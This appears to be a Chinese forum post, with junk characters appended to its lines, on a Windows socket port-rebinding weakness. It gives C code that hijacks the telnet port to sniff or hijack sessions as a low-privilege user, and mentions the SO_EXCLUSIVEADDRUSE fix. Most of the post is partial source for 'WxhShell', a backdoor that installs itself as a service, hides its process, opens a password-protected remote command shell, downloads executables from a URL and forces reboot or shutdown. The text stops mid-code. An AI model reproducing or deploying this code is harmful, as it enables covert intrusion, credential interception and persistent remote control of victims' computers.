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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?(@ 7r_j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s$zLiQF;  
|0&IXOW"XF  
  saddr.sin_family = AF_INET; sf:,qD=z  
AwCcK6N1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z\(q@3C  
vz@A;t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P7[h-3+^  
k90YV(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]vB$~3||  
DHg :8%3x  
  这意味着什么?意味着可以进行如下的攻击: rP'me2 B  
0G(/Wb"/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,5P0S0*{  
s-NX o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #JqB ;'\  
K6)Gc%:`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +X\FBvP&  
(fhb0i-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8$] 1M,$r  
]]HNd7Vh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ky`qskvu  
`{gHA+B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FBG4pb9=~  
OMk y$d#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HRpte=`q  
\Zb;'eDv  
  #include 2/U.| *mH  
  #include *j|~$e}C  
  #include ~kV/!=  
  #include    ynp8r f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i[i4h"$0  
  int main() M+oHtX$  
  { .zf~.R;>  
  WORD wVersionRequested; S0$8@"~=  
  DWORD ret; ]|#+zx|/D  
  WSADATA wsaData; B  5L2<  
  BOOL val; UklUw  
  SOCKADDR_IN saddr; %q"%AauJR  
  SOCKADDR_IN scaddr; j<upRS,$  
  int err; pG_;$8Hc  
  SOCKET s; &*o=I|pQ  
  SOCKET sc; R- X5K-  
  int caddsize; A]*}HZ ,  
  HANDLE mt; $Ph|e)p  
  DWORD tid;   "%)qRe  
  wVersionRequested = MAKEWORD( 2, 2 ); cF*TotU_m  
  err = WSAStartup( wVersionRequested, &wsaData ); v{RZJ^1  
  if ( err != 0 ) { b\f O8{k  
  printf("error!WSAStartup failed!\n"); 5; C|  
  return -1; ^+ml5m  
  } t}_r]E,{u  
  saddr.sin_family = AF_INET; " > ypIR<  
   *YI98  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y+pHd\$-4  
v4<nI;Ux  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e v}S+!|U  
  saddr.sin_port = htons(23); PJ')R:e,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _1X!EH"  
  { Xc ++b|k  
  printf("error!socket failed!\n"); t mn tp  
  return -1; 3=#<X-);  
  } O *C;Vqt  
  val = TRUE; h#I>M`|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y G~?MEh{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z9f-.72"X  
  { E*& vy  
  printf("error!setsockopt failed!\n"); B^=-Z8  
  return -1; 6{K,c@VFd  
  } @ )F)S 7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 299H$$WS,Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @3i\%R)n;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q>qUk@  
_rMg}F"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yZ7&b&2nLn  
  { 'ycJMYP8  
  ret=GetLastError(); !<|4C6X:4  
  printf("error!bind failed!\n"); W.jGGt\<\  
  return -1; wVXS%4|v  
  } ";lVa'HMZ  
  listen(s,2); &;6`)M{*}  
  while(1) nbp=PzZy  
  { 2ACCh4(/P  
  caddsize = sizeof(scaddr); ;<Sd~M4f  
  //接受连接请求 =[ 46`-_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )CYGQMK  
  if(sc!=INVALID_SOCKET) Y|m +dT6  
  { wo}H'Q}Hj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l9~e". ~'  
  if(mt==NULL) .<?GS{6 N  
  { $p8xEcQdU#  
  printf("Thread Creat Failed!\n"); Tb}4wLu  
  break; :k]1Lm||  
  } 234p9A@  
  } tIi&;tw]  
  CloseHandle(mt); E =67e=h  
  } YDsb3X<0'  
  closesocket(s); Hvauyx5T  
  WSACleanup(); uCvj!  
  return 0; f)rq%N &  
  }   y1D L,%j  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y Uc+0  
  { m@j?za9s  
  SOCKET ss = (SOCKET)lpParam; \sixI;-2  
  SOCKET sc; ,,.QfUj/&  
  unsigned char buf[4096]; @s&71a  
  SOCKADDR_IN saddr; ]%SH>  
  long num; I|!OY`ko  
  DWORD val; /62!cp/F/D  
  DWORD ret; Ny7S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8nqG<!,q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2nObl'ec  
  saddr.sin_family = AF_INET; VCfl`Aq'l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2qNt,;DQ  
  saddr.sin_port = htons(23); *R,5h2;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r6Dz;uz  
  {  dFc':|  
  printf("error!socket failed!\n"); Wi<m{.%\E  
  return -1; xu%k~4cB,  
  } i"FtcP^  
  val = 100; b_krk\e@S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,ng Cv;s  
  { <=&`ZH   
  ret = GetLastError(); I,DS@SK  
  return -1; ^CH=O|8j  
  } c#]4awHU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3&4(ZH=  
  { .43'HV  
  ret = GetLastError(); y<3-?}.aZ  
  return -1; "{xrL4BtC  
  } 'oVx#w^mf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3M`M  
  { >6-`}G+|  
  printf("error!socket connect failed!\n"); 5;WH:XM  
  closesocket(sc); $wa{~'  
  closesocket(ss); (lqC[:  
  return -1; BOX2O.Pm  
  } V Q@   
  while(1) t}4, ]m s  
  { RP|`HkP-2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C): 1?@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d-ko ^Y0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e`s ~.ZF  
  num = recv(ss,buf,4096,0); 4_lrg|X1  
  if(num>0) 372rbY  
  send(sc,buf,num,0); .Hm>i  
  else if(num==0) 3}1u\(Mf  
  break; h#*dI`>l-  
  num = recv(sc,buf,4096,0); o-HT1Hc!  
  if(num>0) re<{ >  
  send(ss,buf,num,0); V0YZp  
  else if(num==0) @HCVmg:  
  break; %1L,Y  
  } Zx@a/jLO[n  
  closesocket(ss); n@i HFBb  
  closesocket(sc); =qIp2c}Rx  
  return 0 ; X?',n 1  
  } ^ytrK Q  
uzPV To|=  
+\A,&;!SR  
========================================================== <lPG=Xt  
;'K5J9k  
下边附上一个代码,,WXhSHELL A)!*]o>U  
@.l@\4m  
========================================================== ITBE|b  
CRE3icXbQ  
#include "stdafx.h" ?l )[7LR4  
AT3Mlz~7#  
#include <stdio.h> 59A}}.@?m  
#include <string.h> cI*;k.KU  
#include <windows.h> Lq^)R  
#include <winsock2.h> LRA8p<Rs  
#include <winsvc.h> q9_OGd|P  
#include <urlmon.h> 4VSU8tK|N]  
0S~rgq|O  
#pragma comment (lib, "Ws2_32.lib") eMsd37J  
#pragma comment (lib, "urlmon.lib") D>q9 3;p  
F41=b4/  
#define MAX_USER   100 // 最大客户端连接数 >bW #Zs,6  
#define BUF_SOCK   200 // sock buffer ?a5!H*,  
#define KEY_BUFF   255 // 输入 buffer 0h_|t-9j  
+<C!U'  
#define REBOOT     0   // 重启 ;_(4Q*Yx  
#define SHUTDOWN   1   // 关机 ?tbrbkx  
*] X'( /b_  
#define DEF_PORT   5000 // 监听端口 &QgR*,5eo  
%h@EP[\  
#define REG_LEN     16   // 注册表键长度 5b*C1HS@X  
#define SVC_LEN     80   // NT服务名长度 L0o\J` :  
L8B! u9%  
// 从dll定义API {wKB;?fUvk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "to;\9lP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k(HUUH_z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hgq;`_;1,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >[#f\bG>  
<5051U Eu  
// wxhshell配置信息 oEv 'dQ9  
struct WSCFG { upmx $H>  
  int ws_port;         // 监听端口 x q h  
  char ws_passstr[REG_LEN]; // 口令 !a\^Sk /  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2,b$7xaf  
  char ws_regname[REG_LEN]; // 注册表键名 %N._w!N<5n  
  char ws_svcname[REG_LEN]; // 服务名 `a/`,N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R|(a@sL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E1 2uZ$X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~n_HP_Kf?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wCBplaojJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jH:[2N?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h?U O&(  
:3 mh@[V  
}; a<e[e>  
;^L(^Hx  
// default Wxhshell configuration -9?]IIVb  
struct WSCFG wscfg={DEF_PORT, HPVEnVn  
    "xuhuanlingzhe", A#,ZUOPGH  
    1, Hl=xW/%6y  
    "Wxhshell", h";L  
    "Wxhshell", ?Bmb' 3  
            "WxhShell Service", ckn(`I  
    "Wrsky Windows CmdShell Service", uxz^/Gk  
    "Please Input Your Password: ", 6A ah9   
  1, Fr-SvsNFB  
  "http://www.wrsky.com/wxhshell.exe", 4qa.1j(R/  
  "Wxhshell.exe" P+}h$ _x  
    }; /$m;y[[  
ALHIGJW:6$  
// 消息定义模块 xIn:ZKJ'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *qq+jsA6wH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y();tsW qc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J}t%p(mb  
char *msg_ws_ext="\n\rExit."; wd6owr  
char *msg_ws_end="\n\rQuit."; "@n%Z  
char *msg_ws_boot="\n\rReboot..."; %iB,IEw  
char *msg_ws_poff="\n\rShutdown..."; mE[y SrV  
char *msg_ws_down="\n\rSave to "; O/LXdz0B  
An@t?#4gxi  
char *msg_ws_err="\n\rErr!"; >Q*Wi  
char *msg_ws_ok="\n\rOK!"; rN>R|].  
d;>QhoiL  
char ExeFile[MAX_PATH]; qQa}wcU'9p  
int nUser = 0; -\MG}5?!  
HANDLE handles[MAX_USER]; I1J-)R+  
int OsIsNt; v[<T]1=LRC  
a'T;x`b8U,  
SERVICE_STATUS       serviceStatus; 4M T 7`sr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qP ,EBE  
'ga/  
// 函数声明 d-%hjy3N  
int Install(void); p7 ~!z.)o  
int Uninstall(void); MK*r+xfSae  
int DownloadFile(char *sURL, SOCKET wsh); W*G<X.Hf  
int Boot(int flag); +`15le`R  
void HideProc(void); 76SXJ9@x  
int GetOsVer(void); F"kAkX>3}  
int Wxhshell(SOCKET wsl); 8EYkQ  
void TalkWithClient(void *cs); Ul# r  
int CmdShell(SOCKET sock); [>9is=>o.  
int StartFromService(void); x1<|hTPk  
int StartWxhshell(LPSTR lpCmdLine); s#MPX3itK  
kGJC\{N5N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |BYRe1l6l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `@%LzeGz  
7$#u  
// 数据结构和表定义 4e  
SERVICE_TABLE_ENTRY DispatchTable[] = Bp{Ri_&A  
{ DfB7*+x{  
{wscfg.ws_svcname, NTServiceMain}, g{LP7 D;6  
{NULL, NULL} MfkZ  
}; d=^z`nt !R  
62u4-}JzF  
// 自我安装 k{0o9,  
int Install(void) d5-qZ{W  
{ 9u_Pj2%56.  
  char svExeFile[MAX_PATH]; qSQ~D(tO  
  HKEY key; T{'RV0%   
  strcpy(svExeFile,ExeFile); &Qm@9Is  
HT@=evV  
// 如果是win9x系统,修改注册表设为自启动 :KO2| v\  
if(!OsIsNt) { *ui</+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6C)_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h];I{crh  
  RegCloseKey(key); 8Y?;x}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [-&Zl(9&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \NC3'G:Ii  
  RegCloseKey(key); Ca\6vR  
  return 0; V.Mry`9-  
    } K^[?O{x^B  
  } 7Lt)nq-b  
} I:.s_8mH}  
else { ?Ob3tUz2  
] R*A  
// 如果是NT以上系统,安装为系统服务 j.YA 2mr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0$njMnB2l  
if (schSCManager!=0) vv7I_nK?  
{ F}zDfY\-  
  SC_HANDLE schService = CreateService 8ipez/  
  ( svSVG:48  
  schSCManager, snJ129}A  
  wscfg.ws_svcname, > P)w?:k  
  wscfg.ws_svcdisp,  3CJwj  
  SERVICE_ALL_ACCESS, %$mA03[MQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 54/=G(F   
  SERVICE_AUTO_START, H>C=zo,oiC  
  SERVICE_ERROR_NORMAL, qWw=8Bq  
  svExeFile, j<x_&1  
  NULL, Z ]ONh  
  NULL, j39wA~ K  
  NULL, 16 $B>  
  NULL, 2?x4vI np;  
  NULL Yw9GN2AG  
  ); [gB+C84%%  
  if (schService!=0) 6nQq  
  {  XilS!,  
  CloseServiceHandle(schService); f5r0\7y0  
  CloseServiceHandle(schSCManager); 626r^c=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .u:GjL'$  
  strcat(svExeFile,wscfg.ws_svcname); 7 3m1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v:U-6W_)|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7L??ae  
  RegCloseKey(key); Vc2`b3"Br  
  return 0; nK,w]{<wG!  
    } 3u;oQ5<(v  
  } ys~x $  
  CloseServiceHandle(schSCManager); OY d !v`<  
} putrSSL}  
} d5.4l&\u  
_L PHPj^Pg  
return 1; /NlGFO*Z  
} ! z**y}<T  
q@qsp&0/  
// 自我卸载 Zh,71Umz  
int Uninstall(void) _^;Z~/.  
{ #jk_5W  
  HKEY key; {FG j]*  
Ngwb Q7)  
if(!OsIsNt) { *Uh!>Iv;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /B3iC#?  
  RegDeleteValue(key,wscfg.ws_regname); '7/)Ot(  
  RegCloseKey(key); OPi0~s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gSgr6TH0  
  RegDeleteValue(key,wscfg.ws_regname); G3 m Z($y  
  RegCloseKey(key); Si7*& dw=  
  return 0; %;/P&d/  
  } %RVZD#zr  
} -12U4h<e  
} y2v^-q3  
else { ebq4g387X  
GeqPRah  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <GJbmRc|  
if (schSCManager!=0) SKtrtm  
{ ~?dI*BZ)]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~@!bsLSMU  
  if (schService!=0) &L:!VL{I  
  { T+$[eWk"a  
  if(DeleteService(schService)!=0) { >usL*b0%  
  CloseServiceHandle(schService); 43w}qY1  
  CloseServiceHandle(schSCManager); G B^Br6  
  return 0; edD)TpmE,  
  } ~>G^=0LT  
  CloseServiceHandle(schService); \^LFkp  
  } QnDg 6m)+  
  CloseServiceHandle(schSCManager); "N;EL0=  
} =%7-ZH9  
} [KQi.u  
Fu~j8K  
return 1; vX>)je5#  
} ]iWRo'  
<%^&2UMg  
// 从指定url下载文件 fJ\[*5eiS  
int DownloadFile(char *sURL, SOCKET wsh) rjP/l6 ~'  
{ h;Qk @F  
  HRESULT hr; l}h!B_P'  
char seps[]= "/"; zCA2X !7F  
char *token; m'U0'}Ld};  
char *file; 46x'I(  
char myURL[MAX_PATH]; ;"I^ZFYX  
char myFILE[MAX_PATH]; @iiT<  
pCDmXB  
strcpy(myURL,sURL); jdN` mosJ  
  token=strtok(myURL,seps); }vuARZ>  
  while(token!=NULL) ;a/E42eN;  
  { #Z#-Ht  
    file=token; ]GS bjHsO  
  token=strtok(NULL,seps); s"|Pdc4  
  } Wqnc{oq |$  
#tHK"20  
GetCurrentDirectory(MAX_PATH,myFILE); =I<R!ZSN  
strcat(myFILE, "\\"); }bDm@NU  
strcat(myFILE, file); kM 6 Qp  
  send(wsh,myFILE,strlen(myFILE),0); [0of1eCSl  
send(wsh,"...",3,0); W^Yxny  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -=="<0c  
  if(hr==S_OK) 6863xOv{T  
return 0; M:8R -c#![  
else ?[AD=rUC  
return 1; /z!%d%"  
w]H->B29C  
} O^.#d  
sB</DS  
// 系统电源模块 dG{A~Z z  
int Boot(int flag) oRFq @g  
{ .H|-_~Yx|  
  HANDLE hToken; ixFi{_  
  TOKEN_PRIVILEGES tkp; +z( Lr=G  
PsYpxNr  
  if(OsIsNt) { M{@(G5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -"`=1l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uT{q9=w  
    tkp.PrivilegeCount = 1; ^c<Ve'-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ey2^?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pkzaNY/q  
if(flag==REBOOT) { %{|pj +  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $X6h|?3U,  
  return 0; fl(wV.Je|  
} uYN`:b8  
else { n[z+<VGwC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2 nCA<&  
  return 0; JI}'dU>*U:  
} L_T5nD^D  
  } }OUtsh]y  
  else { ]/Pn EU[  
if(flag==REBOOT) { WJ#[LF!e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) siI;"?  
  return 0; #a6iuO0I  
} b;n[mk  
else { 2ESo2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (HVGlw'`  
  return 0; [WmM6UEVS  
} ~Y;*u]^  
} $i&zex{\  
n S=W1zf  
return 1; )e{aN+  
} Da|z"I x  
(>Em^(&  
// win9x进程隐藏模块 A"]YM'.  
void HideProc(void) ^W ^OfY  
{ :X=hQ:>P  
+>,I1{u%&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *w&e\i|7  
  if ( hKernel != NULL ) P0@,fd<  
  { &yg|t5o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Nb\4 /;#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]kSGR  
    FreeLibrary(hKernel); }#fbbtd  
  } COlqcq'qAu  
1M6D3d_  
return; as|<}:V  
}  ?9/G[[(  
4x34u}l  
// 获取操作系统版本 ]^E?;1$f?  
int GetOsVer(void) ye&;(30Oq  
{ }vuO$j  
  OSVERSIONINFO winfo; C+$#y2"z#n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jcOcWB|  
  GetVersionEx(&winfo); XS#Qu=,-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uRvP hkqm  
  return 1; o!Zb0/AP)  
  else Ud?Q%) X  
  return 0; 01]f2.5  
} _6Sp QW  
pi(m7Ci"  
// 客户端句柄模块 X ?O[r3<  
int Wxhshell(SOCKET wsl) Wr 4,YQM  
{ zhQJy?>'m  
  SOCKET wsh; r!v\"6:OM  
  struct sockaddr_in client; 5m@V#2^P  
  DWORD myID; j2k"cmsKh  
Nn6%9PX_)  
  while(nUser<MAX_USER) Oketwa  
{ :#Wd~~d  
  int nSize=sizeof(client); sJZ iI}Xc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V~GDPJ+  
  if(wsh==INVALID_SOCKET) return 1; t@(HF-4~=  
4#D,?eA7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )0`C@um  
if(handles[nUser]==0) X|dlt{Gf   
  closesocket(wsh); #!=tDc &  
else LVy yO3e  
  nUser++; 6tZI["\   
  } *. t^MP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gv&V|7-f0  
iZmcI;?u  
  return 0; PCA4k.,T  
} *~`(RV  
'/p4O2b,  
// 关闭 socket  " bG2:  
void CloseIt(SOCKET wsh) +`4A$#$+y  
{  *CMx-_  
closesocket(wsh); ;uW FHc5@B  
nUser--; qq?!LEZ  
ExitThread(0); hH.G#-JO  
} ceA9) {  
g(g& TO  
// 客户端请求句柄 ~DWl s.  
void TalkWithClient(void *cs) z:O8Ls^\T  
{ XppOU  
lZ0 =;I  
  SOCKET wsh=(SOCKET)cs; KvS G;  
  char pwd[SVC_LEN]; gw(z1L5 n  
  char cmd[KEY_BUFF]; {g6%(X\r.r  
char chr[1]; al0L&z\  
int i,j; A&{Nh` q  
zs;JJk^  
  while (nUser < MAX_USER) { G$PE}%X  
1YA% -~  
if(wscfg.ws_passstr) { Xj*Wu_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U*:!W=XN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #$vEGY}1  
  //ZeroMemory(pwd,KEY_BUFF); ^Cmyx3O^  
      i=0; 6~{C.No}  
  while(i<SVC_LEN) { eyaNs{TV  
c> af  
  // 设置超时 $kgVa^  
  fd_set FdRead; |{;G2G1[  
  struct timeval TimeOut; ^aQ"E9  
  FD_ZERO(&FdRead); Cw%{G'O   
  FD_SET(wsh,&FdRead); $( )>g>%  
  TimeOut.tv_sec=8; 0V]s:S  
  TimeOut.tv_usec=0; ;4a{$Lw~^9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !wNO8;(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VL^EHb7  
4 :=]<sc,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'yth'[  
  pwd=chr[0]; |}1dFp  
  if(chr[0]==0xd || chr[0]==0xa) { >p/`;Kq@  
  pwd=0; Jwp7gYZ  
  break; ^{{q V  
  } (t.Nk[  
  i++; X 8|EHb<  
    } =xrv~  
{$r[5%L\H  
  // 如果是非法用户,关闭 socket fnY.ao1-s[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DMS! a$4  
} y]im Z4{/  
_U0f=m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eFAnFJ][L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6RM/GM  
HThcn1u~^b  
while(1) { =EIkD9u  
8f7>?BUS,  
  ZeroMemory(cmd,KEY_BUFF); zJXplvaL;  
C7vxw-o|&p  
      // 自动支持客户端 telnet标准   xpI wrJO  
  j=0; .o8t+X'G  
  while(j<KEY_BUFF) { m68*y;#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ':}\4j&{E  
  cmd[j]=chr[0]; ^&)|sP  
  if(chr[0]==0xa || chr[0]==0xd) { fatf*}eln  
  cmd[j]=0; `kr?j:g  
  break; sr}E+qf  
  } W`&hp6Jq  
  j++; CJ%I51F`X  
    } V,9cl,z+  
{|\.i  
  // 下载文件 h1{3njdr  
  if(strstr(cmd,"http://")) { '!$%> ||S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >{Tm##@,k  
  if(DownloadFile(cmd,wsh)) SzRmF1<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X(C$@N  
  else y?0nI<}}HK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /@Zrq#o zx  
  } ZN6Z~SL_i~  
  else { *' X3z@R  
Jo}eeJ;k  
    switch(cmd[0]) { QM]YJr3r E  
  4OX^(  
  // 帮助 !by\9  ?n  
  case '?': { {iLT/i%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H|D.6^  
    break; JCaOK2XT;  
  } ty`DJO=Omj  
  // 安装 Z/K{A`  
  case 'i': { g ci    
    if(Install()) ]:f%l mEy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gNhQD*+>{  
    else Z<phcqEi8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7)k\{&+P  
    break; MS]r:X6  
    } r9lR|\Ax2U  
  // 卸载 _y>~ yZx  
  case 'r': { f {"?%Ku#  
    if(Uninstall()) )WoxMmz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;\l,5EG  
    else Q^ (b)>?r;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <|\Lm20 G]  
    break; YF:L)0H'O  
    } (~en (  
  // 显示 wxhshell 所在路径 eIo7F m  
  case 'p': { m9A!D  
    char svExeFile[MAX_PATH]; F\KUZ[%  
    strcpy(svExeFile,"\n\r"); 9M9?%N:ra  
      strcat(svExeFile,ExeFile); T5:G$-qL(  
        send(wsh,svExeFile,strlen(svExeFile),0); M xG W(p  
    break; p^u:&Quac  
    } @<Yy{ ~L|  
  // 重启 ^BL"wk  
  case 'b': { ~!3r&(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xjUtl  
    if(Boot(REBOOT)) p6WX9\qS(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Le{\}-$.  
    else { -)/$M(Pu"  
    closesocket(wsh); %!L9)(}"  
    ExitThread(0); ))i}7 chc  
    } rc>6.sM %  
    break; Rx|;=-8zg  
    } pO.2<  
  // 关机  v<:R#  
  case 'd': { +&"zU GTIc  
